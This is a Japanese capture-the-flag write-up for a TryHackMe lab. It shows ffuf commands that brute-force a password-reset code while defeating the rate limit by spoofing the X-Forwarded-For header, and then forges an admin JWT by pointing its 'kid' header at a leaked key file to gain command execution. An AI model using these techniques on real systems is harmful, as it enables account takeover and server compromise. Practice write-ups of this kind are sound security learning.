導入
昨日行ったTryHackMeのチャレンジのwriteupになります。
このチャレンジは大きく2つのパートに分かれています。
1つ目が認証バイパス(Flag1)、2つ目はJWTの操作(Flag2)です。
- 認証バイパスでは、レート制限を突破することがポイントになります。
-
JWTの操作では、トークン内の
kid
のパスを書き換えることで署名検証を突破します。
チャレンジ
Flag1: 認証バイパス
まず、ポートスキャンの結果を確認します。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
MAC Address: 02:17:B9:CD:C8:09 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポート番号1337でWEBサーバが稼働しているので、調査を進めます。
/index.php
は、シンプルなログインページです。
「Forgot your password?」からは /reset_password.php
に遷移可能です。
さらに、/index.php
のソースコードを確認すると、以下の記載が見つかりました。
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
この情報を基に「hmr_」をプレフィクスとしてディレクトリの列挙を行います。
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<TARGET>:1337/hmr_FUZZ -s
結果として、以下のディレクトリが見つかりました。
hmr_images
hmr_css
hmr_js
hmr_logs
これらのディレクトリを調査したところ、/hmr_logs/error_logs
から以下のメールアドレスが取得できました。
tester@hammer.thm
このメールアドレスを /reset_password.php
に入力すると、4桁のディジットの入力を求められます。これは、このメールアドレスが有効であることを示唆しています。
さらに、4桁の数字なので、制限機構がなければ総当たり攻撃が可能と推測できます。
まず、ワードリストを作成します。
seq 0000 9999 >> digits.txt
次に、以下のコマンドで総当たりを試みました。
ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s
しかし、うまくいきません。
そこで、BurpSuiteのRepeaterで詳細を確認したところ、レスポンスヘッダに Rate-Limit-Pending
が記載されており、この値が試行毎に1ずつ減少し、0になるとレート制限がかかることが分かりました。
Googleで調査しつつ、Repeaterで検証を重ねた結果、リクエスト毎に X-Forwarded-For
ヘッダを独自に付与するとレート制限に引っかからないことが判明しました。
このヘッダの値はIPアドレス形式である必要はなく、単にFUZZの値をそのまま入れる形で総当たり攻撃が可能です。
参考リンク: HackTricks - Rate Limit Bypass
最終的なペイロードは以下の通りです。
ffuf -w digits.txt -u "http://<TARGET>:1337/reset_password.php" -X "POST" -d "recovery_code=FUZZ&s=60" -H "Cookie: PHPSESSID=<YOUR_SESSID_VALUE>" -H "X-Forwarded-For: FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid" -s
この攻撃により、有効なディジットが見つかり、新パスワードを設定することで管理者画面にアクセス可能になり、1つ目のフラグが取得できました。
Flag2: JWTの操作
管理者画面を調査すると、ユーザの入力をもとにOSコマンドが実行できる機能があります。しかし、様々な入力やフィルター回避テクニックを試しても、実行できたコマンドは ls
のみでした。
ただし、188ade1.keyの内容は取得可能で、後に役立ちます。
{"output":"188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n"}
ここで、管理者画面にユーザのロールが指定されていることから、「高権限がないと制限なしでコマンドを実行できないのではないか」と考え、cookieのtokenとして付与されているJWTに着目しました。
jwt.io を利用してトークンをデコードした結果が以下の通りです。
まず試みたのは、role
を user
から admin
に変更してcookieにセットし、リクエストを送信することでしたが、署名検証で弾かれてしまいました。
その後、署名検証を回避する方法を色々試した結果、以下の手順で成功しました。
参考リンク: PortSwigger - JWT
-
kid
を/var/www/html/188ade1.key
に設定 -
role
をuser
からadmin
に変更 -
secret
を56058354efb3daa97ebab00fabd7a7d7
(188ade1.key)に設定
※ /var/www/html/188ade1.key
を kid
に使用した理由は、/dev/null
が使用できない状況で、取得可能な(パスが分かり、ファイルの内容が分かる)ものを探した結果、適当だったからです。
上記のJWTをcookieのtoken値として使用し、コマンド実行を試みると、署名検証を突破して任意のコマンドが実行できるようになりました。
あとは、cat /home/ubuntu/flag.txt
コマンドでフラグを取得するだけです。
あとがき
レート制限突破やJWTトークンの操作に関しては、ほとんど知見がありませんでした。しかし、日々の修行の成果か、自分なりに調べて検証することで、比較的早い段階で解決にたどり着けたと感じています。
その一方で、知識がない中で手探りで行っていくことが多く、まだまだ学ぶべきことが多いと感じました。これからも精進していきたいと思います。